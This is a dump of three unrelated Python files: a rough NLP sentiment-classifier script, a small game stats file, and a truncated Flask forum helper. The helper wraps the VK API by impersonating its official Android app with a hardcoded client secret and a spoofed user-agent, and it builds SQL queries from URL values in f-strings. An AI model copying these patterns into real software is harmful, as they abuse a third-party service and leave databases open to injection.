Michaël\r\nos.getcwd()\r\n\r\npd.set_option('display.max_colwidth', -1)\r\n\r\ntrain_data=pd.read_csv(\"traindata.csv\", sep='\\t', header=None)# error_bad_lines=False\r\ndev_data=pd.read_csv(\"devdata.csv\", sep='\\t', header=None)\r\n\r\ntrain_data.head(10)\r\ndev_data.head()\r\ntrain_data=train_data.rename(columns={0: 'label',1:'category',2:'subject',3:'index',4:'commentary'})\r\n\r\nclass Classifier:\r\n \"\"\"The Classifier\"\"\"\r\n\r\n\r\n #############################################\r\n def train(self, trainfile):\r\n \"\"\"Trains the classifier model on the training set stored in file trainfile\"\"\"\r\n\r\n\r\n def predict(self, datafile):\r\n \"\"\"Predicts class labels for the input instances in file 'datafile'\r\n Returns the list of predicted labels\r\n \"\"\"\r\n\r\n############################ FIRST STEP ####################################################\r\n#Separate the column category into two parts+ maybe one hot encoding\r\n# For the column subject do a one hot encoding\r\n \r\nnew = train_data[\"category\"].str.split(\"#\", n = 1, expand = True) \r\n \r\ntrain_data[\"category\"]= new[0] \r\ntrain_data[\"subcategory\"]= new[1] \r\n\r\ntrain_data = train_data[[\"label\",\"category\", \"subcategory\", \"subject\", \"index\", \"commentary\"]]\r\n\r\ntrain_data.head()\r\n\r\n\r\n#Separate the column index into two parts\r\n \r\nnew = train_data[\"index\"].str.split(\":\", n = 1, expand = True) \r\n \r\ntrain_data[\"index_b\"]= new[0] \r\ntrain_data[\"index_e\"]= new[1] \r\n\r\ntrain_data = train_data[[\"label\",\"category\", \"subcategory\", \"subject\", \"index_b\",\"index_e\", \"commentary\"]]\r\n\r\ntrain_data[\"index_b\"]=train_data[\"index_b\"].apply(int)\r\ntrain_data[\"index_e\"]=train_data[\"index_e\"].apply(int)\r\n\r\ntrain_data.head()\r\n\r\n############################ SECOND STEP ####################################################\r\n#Pre-processing : cleaning\r\n \r\n\r\ndef clean_columns(string): \r\n # create a list of tuples where the first element of each tuple is a review\r\n # the second element is the label\r\n # documents.append( (p, \"pos\") )\r\n \r\n # put everything in lowercases\r\n string = string.lower()\r\n \r\n # remove punctuations\r\n string = re.sub(\"([^\\w]|[\\d_])+\", \" \", string)\r\n \r\n \r\n \r\n ##https://spacy.io/usage/linguistic-features \r\n # Testing chunk , try to remove verbs\r\n # Apply spacy on the sentence \r\n \r\n #tokenized_string = nlp(string)\r\n\r\n #displacy.serve(tokenized_string, style=\"dep\")\r\n #for token in tokenized_string:\r\n # print(token.pos_)\r\n # print(token)\r\n # print(type(token.pos_))\r\n tokenized_string=word_tokenize(string)\r\n\r\n #for chunk in tokenized_string.noun_chunks:\r\n #print(chunk.text)\r\n \r\n \r\n # remove stopwords \r\n #stopped = [w for w in tokenized if not w in stop_words]\r\n \r\n # parts of speech tagging for each word \r\n #pos = nltk.pos_tag(stopped)\r\n \r\n # make a list of all adjectives identified by the allowed word types list above\r\n #for w in pos:\r\n #if w[1][0] in allowed_word_types:\r\n #all_words.append(w[0].lower())\r\n \r\n return tokenized_string\r\n\r\nlist_columns = ['commentary'] \r\n\r\n#train_data['commentary'][:10].apply(clean_columns) \r\n\r\n\r\ndef clean_column(list_columns):\r\n for name in list_columns:\r\n print(name)\r\n train_data[name] = train_data[name].apply(clean_columns) \r\n \r\n \r\n\r\nclean_column(list_columns)\r\n\r\ntrain_data.subject = train_data.subject.apply(lambda x: x.lower())\r\n\r\ntrain_data.head()\r\n\r\n\r\n\r\n#train_data[\"subject\"].nunique()\r\n\r\ntrain_data.label.replace([\"negative\",\"neutral\", \"positive\"], [0,1,2], inplace=True)\r\n\r\n\r\n\r\n################################# Word2Vec ######################################################\r\n\r\n#parameters\r\nn_dim=200\r\nsize_corpus=1503\r\nmin_count = 1\r\nn_epochs = 50\r\nmin_df = 10\r\n\r\n\r\ndef labelizeCommentary(X, label_type):\r\n labelized = []\r\n for i,v in tqdm(enumerate(X)):\r\n label = '%s_%s'%(label_type,i)\r\n labelized.append(LabeledSentence(v, [label]))\r\n return labelized\r\n\r\n\r\nX_train_tagged = labelizeCommentary(train_data.commentary, 'TRAIN')\r\n#X_test_tagged = labelizeCommentary(X_test_dl, 'TEST')\r\n\r\nword_w2v = Word2Vec(size = n_dim, min_count = min_count)\r\nword_w2v.build_vocab([x.words for x in tqdm(X_train_tagged)])\r\nword_w2v.train([x.words for x in tqdm(X_train_tagged)], epochs = n_epochs, total_examples = size_corpus)\r\n\r\n\r\nvectorizer = TfidfVectorizer(analyzer=lambda x: x, min_df = min_df)\r\nmatrix = vectorizer.fit_transform([x.words for x in X_train_tagged])\r\ntfidf = dict(zip(vectorizer.get_feature_names(), vectorizer.idf_))\r\n\r\n\r\ndef buildWordVector(tokens, size):\r\n vec = np.zeros(size).reshape((1, size))\r\n count = 0.\r\n for word in tokens:\r\n try:\r\n vec += word_w2v[word].reshape((1, size)) * tfidf[word]\r\n count += 1.\r\n except KeyError: # handling the case where the token is not\r\n # in the corpus. useful for testing.\r\n continue\r\n if count != 0:\r\n vec /= count\r\n return vec\r\n\r\n\r\nfrom sklearn.preprocessing import scale\r\ntrain_vecs_w2v = np.concatenate([buildWordVector(z, n_dim) for z in tqdm(map(lambda x: x.words, X_train_tagged))])\r\ntrain_vecs_w2v = scale(train_vecs_w2v)\r\n\r\ntrain_vecs_w2v = pd.DataFrame(train_vecs_w2v)\r\n\r\n#test_vecs_w2v = np.concatenate([buildWordVector(z, n_dim) for z in tqdm(map(lambda x: x.words, X_test_tagged))])\r\n#test_vecs_w2v = scale(test_vecs_w2v)\r\n\r\n\r\n\r\n########################BERT MODEL ########################################################\r\n\r\nfrom transformers import BertTokenizer\r\nfrom torchtext import data\r\n\r\n\r\ntokenizer = BertTokenizer.from_pretrained('bert-base-uncased')\r\nlen(tokenizer.vocab)\r\n\r\n\r\ninit_token = tokenizer.cls_token\r\neos_token = tokenizer.sep_token\r\npad_token = tokenizer.pad_token\r\nunk_token = tokenizer.unk_token\r\n\r\nprint(init_token, eos_token, pad_token, unk_token)\r\n\r\ninit_token_idx = tokenizer.convert_tokens_to_ids(init_token)\r\neos_token_idx = tokenizer.convert_tokens_to_ids(eos_token)\r\npad_token_idx = tokenizer.convert_tokens_to_ids(pad_token)\r\nunk_token_idx = tokenizer.convert_tokens_to_ids(unk_token)\r\n\r\n\r\ndef tokenize_and_cut(sentence):\r\n tokens = tokenizer.tokenize(sentence) \r\n tokens = tokens[:max_input_length-2]\r\n return tokens\r\n\r\n\r\nTEXT = data.Field(batch_first = True,\r\n use_vocab = False,\r\n tokenize = tokenize_and_cut,\r\n preprocessing = tokenizer.convert_tokens_to_ids,\r\n init_token = init_token_idx,\r\n eos_token = eos_token_idx,\r\n pad_token = pad_token_idx,\r\n unk_token = unk_token_idx)\r\n\r\nLABEL = data.LabelField(dtype = torch.float)\r\n\r\ntrain_data_bert=train_data[[\"commentary\",\"label\"]]\r\n\r\ntrain_data, test_data = train_data_bert.splits(TEXT, LABEL)\r\n\r\ntrain_data, valid_data = train_data.split(random_state = random.seed(SEED))\r\n\r\n\r\nX_train_bert, X_test_bert, y_train_bert, y_test_bert = train_test_split(train_data.commentary,train_data.label, test_size=0.2)\r\n\r\n\r\nLABEL.build_vocab(X_train_bert)\r\nprint(LABEL.vocab.stoi)\r\n\r\n\r\n\r\n####################################BERT MODEL 2##############################################\r\n# install\r\n\r\n# BERT imports\r\nimport torch\r\nfrom torch.utils.data import TensorDataset, DataLoader, RandomSampler, SequentialSampler\r\nfrom keras.preprocessing.sequence import pad_sequences\r\nfrom sklearn.model_selection import train_test_split\r\nfrom pytorch_pretrained_bert import BertTokenizer, BertConfig\r\nfrom pytorch_pretrained_bert import BertAdam, BertForSequenceClassification\r\nfrom tqdm import tqdm, trange\r\nimport pandas as pd\r\nimport io\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n#\r\n# queries are stored in the variable query_data_train\r\n# correct intent labels are stored in the variable labels\r\n#\r\ndf=train_data\r\n# Create sentence and label lists\r\nsentences = df.commentary.values\r\n\r\n# We need to add special tokens at the beginning and end of each sentence for BERT to work properly\r\nsentences = [\"[CLS] \" + sentence + \" [SEP]\" for sentence in sentences]\r\nlabels = df.label.values\r\n\r\n# Tokenize with BERT tokenizer\r\ntokenizer = BertTokenizer.from_pretrained('bert-base-uncased', do_lower_case=True)\r\n\r\n\r\ntokenized_texts = [tokenizer.tokenize(sent) for sent in sentences]\r\nprint (\"Tokenize the first sentence:\")\r\nprint (tokenized_texts[0])\r\n\r\n# Set the maximum sequence length. The longest sequence in our training set is 47, but we'll leave room on the end anyway. \r\n# In the original paper, the authors used a length of 512.\r\nMAX_LEN = 128\r\n\r\n# Use the BERT tokenizer to convert the tokens to their index numbers in the BERT vocabulary\r\ninput_ids = [tokenizer.convert_tokens_to_ids(x) for x in tokenized_texts]\r\n\r\n# Pad our input tokens\r\ninput_ids = pad_sequences(input_ids, maxlen=MAX_LEN, dtype=\"long\", truncating=\"post\", padding=\"post\")\r\n\r\n# Create attention masks\r\nattention_masks = []\r\n\r\n# Create a mask of 1s for each token followed by 0s for padding\r\nfor seq in input_ids:\r\n seq_mask = [float(i>0) for i in seq]\r\n attention_masks.append(seq_mask)\r\n \r\n# Use train_test_split to split our data into train and validation sets for training\r\n\r\ntrain_inputs, validation_inputs, train_labels, validation_labels = train_test_split(input_ids, labels, \r\n random_state=2018, test_size=0.1)\r\ntrain_masks, validation_masks, _, _ = train_test_split(attention_masks, input_ids,\r\n random_state=2018, test_size=0.1)\r\n\r\n# Convert all of our data into torch tensors, the required datatype for our model\r\n\r\ntrain_inputs = torch.tensor(train_inputs)\r\nvalidation_inputs = torch.tensor(validation_inputs)\r\ntrain_labels = torch.tensor(train_labels)\r\nvalidation_labels = torch.tensor(validation_labels)\r\ntrain_masks = torch.tensor(train_masks)\r\nvalidation_masks = torch.tensor(validation_masks)\r\n\r\n# Select a batch size for training. For fine-tuning BERT on a specific task, the authors recommend a batch size of 16 or 32\r\nbatch_size = 32\r\n\r\n# Create an iterator of our data with torch DataLoader. This helps save on memory during training because, unlike a for loop, \r\n# with an iterator the entire dataset does not need to be loaded into memory\r\n\r\ntrain_data = TensorDataset(train_inputs, train_masks, train_labels)\r\ntrain_sampler = RandomSampler(train_data)\r\ntrain_dataloader = DataLoader(train_data, sampler=train_sampler, batch_size=batch_size)\r\n\r\nvalidation_data = TensorDataset(validation_inputs, validation_masks, validation_labels)\r\nvalidation_sampler = SequentialSampler(validation_data)\r\nvalidation_dataloader = DataLoader(validation_data, sampler=validation_sampler, batch_size=batch_size)\r\n\r\n#Load BertForSequenceClassification, the pretrained BERT model with a single linear classification layer on top. \r\n\r\nmodel = BertForSequenceClassification.from_pretrained(\"bert-base-uncased\", num_labels=3)\r\n#model.cuda()\r\n\r\n\r\nparam_optimizer = list(model.named_parameters())\r\nno_decay = ['bias', 'gamma', 'beta']\r\noptimizer_grouped_parameters = [\r\n {'params': [p for n, p in param_optimizer if not any(nd in n for nd in no_decay)],\r\n 'weight_decay_rate': 0.01},\r\n {'params': [p for n, p in param_optimizer if any(nd in n for nd in no_decay)],\r\n 'weight_decay_rate': 0.0}\r\n]\r\n\r\n# This variable contains all of the hyperparemeter information our training loop needs\r\noptimizer = BertAdam(optimizer_grouped_parameters,\r\n lr=2e-5,\r\n warmup=.1)\r\n\r\n# Function to calculate the accuracy of our predictions vs labels\r\ndef flat_accuracy(preds, labels):\r\n pred_flat = np.argmax(preds, axis=1).flatten()\r\n labels_flat = labels.flatten()\r\n return np.sum(pred_flat == labels_flat) / len(labels_flat)\r\n\r\nt = [] \r\n\r\n# Store our loss and accuracy for plotting\r\ntrain_loss_set = []\r\n\r\n# Number of training epochs (authors recommend between 2 and 4)\r\nepochs = 4\r\n\r\n# trange is a tqdm wrapper around the normal python range\r\nfor _ in trange(epochs, desc=\"Epoch\"):\r\n \r\n \r\n # Training\r\n \r\n # Set our model to training mode (as opposed to evaluation mode)\r\n \r\n model.train()\r\n \r\n # Tracking variables\r\n tr_loss = 0\r\n nb_tr_examples, nb_tr_steps = 0, 0\r\n \r\n\r\n # Train the data for one epoch\r\n for step, batch in enumerate(train_dataloader):\r\n # Add batch to GPU\r\n batch = tuple(t for t in batch)\r\n # Unpack the inputs from our dataloader\r\n b_input_ids, b_input_mask, b_labels = batch\r\n # Clear out the gradients (by default they accumulate)\r\n optimizer.zero_grad()\r\n\r\n # Forward pass\r\n loss = model(b_input_ids.to(torch.int64), token_type_ids=None, attention_mask=b_input_mask, labels=b_labels)\r\n \r\n train_loss_set.append(loss.item()) \r\n # Backward pass\r\n loss.backward()\r\n # Update parameters and take a step using the computed gradient\r\n optimizer.step()\r\n\r\n \r\n \r\n # Update tracking variables\r\n tr_loss += loss.item()\r\n nb_tr_examples += b_input_ids.size(0)\r\n nb_tr_steps += 1\r\n\r\n print(\"Train loss: {}\".format(tr_loss/nb_tr_steps))\r\n \r\n \r\n # Validation\r\n\r\n # Put model in evaluation mode to evaluate loss on the validation set\r\n model.eval()\r\n\r\n # Tracking variables \r\n eval_loss, eval_accuracy = 0, 0\r\n nb_eval_steps, nb_eval_examples = 0, 0\r\n\r\n # Evaluate data for one epoch\r\n for batch in validation_dataloader:\r\n # Add batch to GPU\r\n batch = tuple(t for t in batch)\r\n # Unpack the inputs from our dataloader\r\n b_input_ids, b_input_mask, b_labels = batch\r\n # Telling the model not to compute or store gradients, saving memory and speeding up validation\r\n with torch.no_grad():\r\n # Forward pass, calculate logit predictions\r\n logits = model(b_input_ids, token_type_ids=None, attention_mask=b_input_mask)\r\n \r\n # Move logits and labels to CPU\r\n logits = logits.detach().cpu().numpy()\r\n label_ids = b_labels.to('cpu').numpy()\r\n\r\n tmp_eval_accuracy = flat_accuracy(logits, label_ids)\r\n \r\n eval_accuracy += tmp_eval_accuracy\r\n nb_eval_steps += 1\r\n\r\n print(\"Validation Accuracy: {}\".format(eval_accuracy/nb_eval_steps))\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n################################# One hot encoding ######################################################\r\n\r\nfrom sklearn.preprocessing import OneHotEncoder\r\n# creating instance of one-hot-encoder\r\n\r\nenc = OneHotEncoder(handle_unknown='ignore')\r\n\r\n\r\n\r\n# passing bridge-types-cat column (label encoded values of bridge_types)\r\nenc_df = pd.DataFrame(enc.fit_transform(train_data[['category', 'subcategory']]).toarray())\r\n\r\nenc.get_feature_names(['category', 'subcategory'])\r\n\r\nenc_df.columns = enc.get_feature_names(['category', 'subcategory'])\r\n\r\n# merge with main df bridge_df on key values\r\n\r\ntrain_vecs_w2v = pd.concat([enc_df,train_vecs_w2v],axis=1)\r\n\r\ntrain_vecs_w2v = pd.concat([train_data[[\"index_b\",\"index_e\"]],train_vecs_w2v],axis=1)\r\n#train_vecs_w2v[\"subject\"] = train_data.subject\r\n\r\ntrain_vecs_w2v.head()\r\n\r\n\r\n\r\n############################ Tfidf matrice ####################################################\r\n\r\n# Write code to import TfidfVectorizer\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\n\r\n# Write code to create a TfidfVectorizer object\r\ntfidf = TfidfVectorizer()\r\n\r\n# Write code to vectorize the sample text\r\nX_tfidf_sample = tfidf.fit_transform(train_data[\"commentary\"])\r\n\r\nprint(\"Shape of the TF-IDF Matrix:\")\r\nprint(X_tfidf_sample.shape)\r\nprint(\"TF-IDF Matrix:\")\r\nprint(X_tfidf_sample.todense())\r\nprint(tfidf.get_feature_names())\r\n\r\ny_train_set=train_data[\"label\"]\r\n\r\ndf_idf=pd.DataFrame(X_tfidf_sample.toarray())\r\n\r\nX_train_set=pd.concat([train_data, df_idf], axis=1)\r\n\r\nX_train_set.drop(['label', 'commentary'], axis=1, inplace = True)\r\n\r\n\r\nX_train_set.head()\r\n\r\n\r\n\r\n\r\n\r\n#################################Models######################################################\r\n\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn import tree\r\nfrom sklearn.model_selection import cross_validate\r\nfrom sklearn.model_selection import GridSearchCV\r\nfrom sklearn.metrics import f1_score\r\nfrom sklearn.metrics import make_scorer\r\n\r\n\r\n\r\nfrom sklearn.metrics import accuracy_score\r\n\r\n\r\naccuracy_scorer = make_scorer(accuracy_score)\r\n\r\n#Random Forest\r\n# Set the parameters for grid_search\r\nrandom_state = [42] #add more parameters here (default None)\r\nmax_depth = [4,6,8,12,50,None] #add more parameters here (default None)\r\ntuned_parameters_rf = [{'random_state': random_state, 'max_depth':max_depth}]\r\n\r\n\r\n\r\ngrid_random_forest = GridSearchCV(\r\n RandomForestClassifier() , tuned_parameters_rf,cv=5,scoring=accuracy_scorer\r\n )\r\n\r\n\r\n\r\nresult_rf=grid_random_forest.fit(train_vecs_w2v,train_data.label)\r\nprint(result_rf.best_params_)\r\nprint(result_rf.best_score_)\r\n\r\n# Naive bayes\r\nfrom sklearn.naive_bayes import GaussianNB\r\nfrom sklearn.naive_bayes import MultinomialNB,BernoulliNB\r\n\r\n\r\nalpha=[1.0] #add more parameters here (default 1.0)\r\nfit_prior=[True] #add more parameters here (default True)\r\nclass_prior=[None] #add more parameters here (default None)\r\ntuned_parameters_nb = [{'alpha': alpha, 'fit_prior':fit_prior,'class_prior':class_prior}]\r\n\r\n\r\ngrid_Naive_Bayes_multi = GridSearchCV(\r\n MultinomialNB() , tuned_parameters_nb,cv=5,scoring=accuracy_scorer\r\n )\r\n\r\n\r\n\r\nresult_nb_multi=grid_Naive_Bayes_multi.fit(X_train_set,y_train_set)\r\nprint(result_nb_multi.best_params_)\r\nprint(result_nb_multi.best_score_)\r\n\r\n\r\n\r\n#XGboost\r\n# Set the parameters for grid_search\r\nimport xgboost as xgb\r\n# Set the parameters for grid_search\r\nparameters = {\r\n 'eta': [0.2,0.1,0.05], \r\n 'max_depth': [8], \r\n \"n_estimators\" : [1000],\r\n 'objective': ['multi:softprob'], \r\n 'num_classes' : [3], \r\n 'nthread' : [-1],\r\n 'subsample' : [0.8],\r\n 'colsample_bytree' : [0.8],\r\n 'colsample_bylevel' : [1], \r\n \r\n } \r\n\r\n\r\ngrid_xgb = GridSearchCV(xgb.XGBClassifier(), \r\n parameters, \r\n cv = 3, \r\n scoring = accuracy_scorer, \r\n verbose = 10, \r\n n_jobs = -1)\r\n\r\n\r\nresult_xgb = grid_xgb.fit(train_vecs_w2v,train_data.label)\r\n\r\nprint(result_xgb.best_params_)\r\nprint(result_xgb.best_score_)\r\n\r\n#Keras linear NN\r\nX_train_dl, X_test_dl, y_train_dl, y_test_dl = train_test_split(train_vecs_w2v,\r\n train_data.label, test_size=0.2)\r\n\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense\r\n\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nsns.set()\r\n\r\ninput_dim = 213\r\nnum_epochs = 30 \r\nbatch_size = 32\r\nverbose = 10\r\n\r\nmodel = Sequential()\r\n\r\nmodel.add(Dense(32, activation = 'relu', input_dim = input_dim))\r\n\r\nmodel.add(Dense(32, activation = 'relu'))\r\nmodel.add(Dense(3, activation = 'sigmoid'))\r\n\r\nmodel.summary()\r\n\r\nmodel.compile(optimizer='rmsprop', loss='sparse_categorical_crossentropy', metrics=['accuracy'])\r\n\r\nresults = model.fit(X_train_dl, y_train_dl, \r\n epochs = num_epochs, \r\n batch_size = batch_size, \r\n verbose = verbose, \r\n workers = 4)\r\n\r\nscore = model.evaluate(X_test_dl, y_test_dl, batch_size = 32, verbose = verbose, validation_split=0.2)\r\nprint(score[1])\r\n \r\n#display loss and accuracy curves\r\nplt.title('model accuracy')\r\nplt.ylabel('accuracy')\r\nplt.xlabel('epoch')\r\nplt.legend(['train','test'], loc='upper left')\r\nplt.show()\r\n\r\nplt.plot(results.history['loss'])\r\nplt.plot(results.history['val_loss'])\r\n\r\nplt.title('model loss')\r\nplt.ylabel('loss')\r\nplt.xlabel('epoch')\r\nplt.legend(['train','test'], loc='upper left')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"raphaaael95/NLP_2","sub_path":"classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":21175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"42386092781","text":"from items import *\r\n\r\nplayer = {\r\n \r\n \"name\" : \"Ulysses\", \r\n \"STR\" : 50,\r\n \"DEX\" : 50, \r\n \"CON\" : 50,\r\n \"WIS\" : 5,\r\n \"STA\" : 50, \r\n \"MAXCON\" : 10, \r\n \"inventory\" : [sandwich, drink, crisps, integrity]\r\n \r\n \r\n \r\n}\r\n\r\nsiren = {\r\n \r\n \"name\" : \"Siren\",\r\n \"STR\" : 2,\r\n \"DEX\" : 3,\r\n \"CON\" : 10\r\n \r\n}\r\n\r\nbox = {\r\n \r\n \"name\": \"Box\", \r\n \"STR\" : 0,\r\n \"DEX\" : 0,\r\n \"CON\" : 10\r\n \r\n}\r\n\r\ncyclops = {\r\n \r\n \"name\":\"Polyphemus\", \r\n \"STR\":7,\r\n \"DEX\":1,\r\n \"CON\":30 \r\n}\r\n\r\nkrylla = {\r\n \r\n \"name\" : \"krylla\",\r\n \"STR\" : 40,\r\n \"DEX\" : 30,\r\n \"CON\" : 50\r\n \r\n}\r\n\r\nmonsters = {\r\n \r\n \"box\": box,\r\n \"siren\": siren,\r\n \"cyclops\": cyclops \r\n \r\n \r\n}","repo_name":"djfrigid/Projects","sub_path":"Modules/entities.py","file_name":"entities.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31476770791","text":"from flask import url_for\r\nfrom data.users import User\r\nfrom flask_login import current_user\r\nfrom datetime import datetime\r\nfrom data import db_session\r\nimport requests, hashlib, urllib, random, string, re, json, sys, time\r\nimport sqlite3\r\nimport json\r\nimport os\r\n\r\n\r\nclass VkAndroidApi(object):\r\n session = requests.Session()\r\n session.headers = {\"User-Agent\": \"VKAndroidApp/4.13.1-1206 (Android 4.4.3; SDK 19; armeabi; ; ru)\",\r\n \"Accept\": \"image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*\"}\r\n # proxies = {'https': 'https://95.105.102.124:8080'}\r\n # session.proxies.update(proxies)\r\n def __init__(self, login=None, password=None, token=None, secret=None, v=5.95):\r\n self.v = v\r\n self.device_id = \"\".join(random.choice(string.ascii_lowercase + string.digits) for i in range(16))\r\n\r\n if token is not None and secret is not None:\r\n self.token = token\r\n self.secret = secret\r\n return\r\n # Генерируем рандомный device_id\r\n answer = self.session.get(\r\n \"https://oauth.vk.com/token?grant_type=password&scope=nohttps,audio&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username={login}&password={password}\".format(\r\n login=login,\r\n password=password\r\n ),\r\n headers={'User-Agent': 'Mozilla/4.0 (compatible; ICS)'}).json()\r\n print(answer)\r\n if \"error\" in answer: raise PermissionError(\"invalid login|password!\")\r\n self.secret = answer[\"secret\"]\r\n self.token = answer[\"access_token\"]\r\n # Методы, \"Открывающие\" доступ к аудио. Без них, аудио получить не получится\r\n self.method('execute.getUserInfo', func_v=9),\r\n self._send('/method/auth.refreshToken?access_token={token}&v={v}&device_id={device_id}&lang=ru'.format(\r\n token=self.token, v=v, device_id=self.device_id))\r\n\r\n def method(self, method, **params):\r\n url = (\"/method/{method}?v={v}&access_token={token}&device_id={device_id}\".format(method=method, v=self.v,\r\n token=self.token,\r\n device_id=self.device_id)\r\n + \"\".join(\"&%s=%s\" % (i, params[i]) for i in params if params[i] is not None)\r\n ) # генерация ссылки по которой будет генерироваться md5-подпись\r\n # обратите внимание - в даннаой ссылке нет urlencode параметров\r\n return self._send(url, params, method)\r\n\r\n def _send(self, url, params=None, method=None, headers=None):\r\n hash = hashlib.md5((url + self.secret).encode()).hexdigest()\r\n if method is not None and params is not None:\r\n url = (\"/method/{method}?v={v}&access_token={token}&device_id={device_id}\".format(method=method,\r\n token=self.token,\r\n device_id=self.device_id,\r\n v=self.v)\r\n + \"\".join(\r\n \"&\" + i + \"=\" + urllib.parse.quote_plus(str(params[i])) for i in params if\r\n (params[i] is not None)\r\n ))\r\n if headers is None:\r\n return self.session.get('https://api.vk.com' + url + \"&sig=\" + hash).json()\r\n else:\r\n return self.session.get('https://api.vk.com' + url + \"&sig=\" + hash, headers=headers).json()\r\n\r\n _pattern = re.compile(r'/[a-zA-Z\\d]{6,}(/.*?[a-zA-Z\\d]+?)/index.m3u8()')\r\n\r\n def get_albums(self, owner_id=None):\r\n if owner_id is None:\r\n return\r\n answer = self.method(\"audio.getPlaylists\", owner_id=owner_id)['response']['items']\r\n new_answer = []\r\n for i in answer:\r\n if 'photo' in i.keys():\r\n img = i['photo'][list(i['photo'].keys())[len(i['photo'].keys()) - 1]]\r\n else:\r\n if 'thumbs' in i.keys():\r\n img = i['thumbs'][0][list(i['thumbs'][0].keys())[len(i['thumbs'][0]) - 1]]\r\n else:\r\n img = 'first.png'\r\n try:\r\n new_answer.append({'title': i['title'], 'img': img, 'owner_id': i['original']['owner_id'], 'id': i['original']['playlist_id'], \"access_hash\": i['original']['access_key']})\r\n except:\r\n pass\r\n return new_answer\r\n\r\n def search(self, q=None, count=100):\r\n if q is None or len(q) < 2:\r\n return []\r\n answer = self.method(\"audio.search\", q=q, count=count)['response']['items']\r\n newAnswer = []\r\n for i in answer:\r\n newAnswer.append(\r\n {'artist': i['artist'], 'title': i['title'], 'duration': i['duration'], 'url': self.to_mp3(i['url'])})\r\n return newAnswer\r\n\r\n def get(self, owner_id=None, album_id=None, access_hash=None):\r\n if owner_id is None:\r\n return\r\n if album_id is None:\r\n answer = self.method(\"audio.get\", owner_id=owner_id)\r\n else:\r\n answer = self.method(\"audio.get\", owner_id=owner_id, album_id=album_id, access_key=access_hash)\r\n answer = answer['response']['items']\r\n newAnswer = []\r\n for i in answer:\r\n newAnswer.append({'artist': i['artist'], 'title': i['title'], 'duration': i['duration'], 'url': self.to_mp3(i['url'])})\r\n return newAnswer\r\n\r\n def to_mp3(self, url):\r\n return self._pattern.sub(r'\\1\\2.mp3', url)\r\n\r\n\r\nlogin = '-'\r\npassword = '-'\r\nvk = VkAndroidApi(login=login, password=password)\r\nsecret, token = vk.secret, vk.token\r\n\r\n\r\nwith open('news-data.json', 'r') as file:\r\n news_data = json.loads(file.read())\r\n\r\n\r\ndef set_urls(params):\r\n # setup urls\r\n params['css'] = url_for('static', filename='css/')\r\n params['js'] = url_for('static', filename='js/')\r\n params['img'] = url_for('static', filename='img/')\r\n\r\n\r\ndef get_news(params, another=-1):\r\n if another == -1:\r\n params['news'] = news_data.copy()\r\n else:\r\n if another in news_data.keys():\r\n params['news'] = news_data[another].copy()\r\n else:\r\n params['news'] = False\r\n\r\n\r\ndef get_forum_data(params):\r\n con = sqlite3.connect('./forum/forum_data.db')\r\n cur = con.cursor()\r\n forum_data = []\r\n for i in [\"Основной раздел\", \"Игровые моменты\", \"Обращения к администрации\"]:\r\n result = cur.execute(\r\n f\"\"\"SELECT * FROM main where `parent-header` = '{i}'\"\"\").fetchall()\r\n data = []\r\n for j in result:\r\n answer = {'header': j[2], 'link': j[3]}\r\n if int(j[5]):\r\n answer['blocked'] = 1\r\n answer['creator'] = {'link': '/members/Admin', 'login': j[4]}\r\n themes_length = cur.execute(f\"\"\"SELECT sum(`themes-length`) FROM `{j[3]}`\"\"\").fetchone()[0]\r\n try:\r\n answer['themes_length'] = themes_length if themes_length // 1000 == 0 else str(themes_length // 1000) + ',' + str(themes_length % 1000)[0] + 'К'\r\n except Exception as e:\r\n answer['themes_length'] = 0\r\n messages_length = cur.execute(f\"\"\"SELECT sum(`messages-length`) FROM `{j[3]}`\"\"\").fetchone()[0]\r\n try:\r\n answer['messages_length'] = messages_length if messages_length // 1000 == 0 else str(messages_length // 1000) + ',' + str(messages_length % 1000)[0] + 'К'\r\n except Exception as e:\r\n answer['messages_length'] = 0\r\n try:\r\n last_msg = max(cur.execute(f\"\"\"SELECT `link`, `last-message-creator`, `last-message-date` FROM `{j[3]}` where `link` != '' and `last-message-creator` != '' and `last-message-date` != ''\"\"\").fetchall(), key=lambda x: datetime.strptime(x[2], \"%d.%m.%Y - %H:%M:%S\"))\r\n answer['lastMessage'] = {\"link\": 'forum/' + j[3] + '/' + last_msg[0], \"user\": {\"link\": '/members/' + last_msg[1], \"name\": last_msg[1]}, \"date\": last_msg[2].split(' -')[0]}\r\n except Exception as e:\r\n pass\r\n data.append(answer)\r\n forum_data.append({\"header\": i, \"data\": data})\r\n con.commit()\r\n con.close()\r\n params['forum'] = forum_data\r\n\r\n\r\ndef get_themes(params, theme_link, subtheme_link=False):\r\n if subtheme_link:\r\n answer = {}\r\n con = sqlite3.connect('./forum/forum_data.db')\r\n cur = con.cursor()\r\n header = cur.execute(\r\n f\"\"\"SELECT * FROM main where link = '{theme_link}'\"\"\").fetchone()\r\n if header is None or not len(header) or header[0] is None:\r\n con.commit()\r\n con.close()\r\n return False\r\n second = cur.execute(\r\n f\"\"\"SELECT * FROM `{theme_link}` where link = '{subtheme_link}'\"\"\").fetchone()\r\n if second is None or not len(second) or second[0] is None:\r\n con.commit()\r\n con.close()\r\n return False\r\n answer['header'] = header[1]\r\n answer['before_this_header'] = header[2]\r\n answer['theme'] = second[1]\r\n answer['link'] = f'{theme_link}/{subtheme_link}'\r\n answer['before_this'] = theme_link\r\n answer['blocked'] = second[9]\r\n answer['data'] = []\r\n result = cur.execute(\r\n f\"\"\"SELECT * FROM `{theme_link}-{subtheme_link}`\"\"\").fetchall()\r\n for i in result:\r\n answer['data'].append({'link': i[1], 'header': i[0], \"creator\": {'login': i[2], 'date': i[3], 'link': '/members/' + i[2]}, 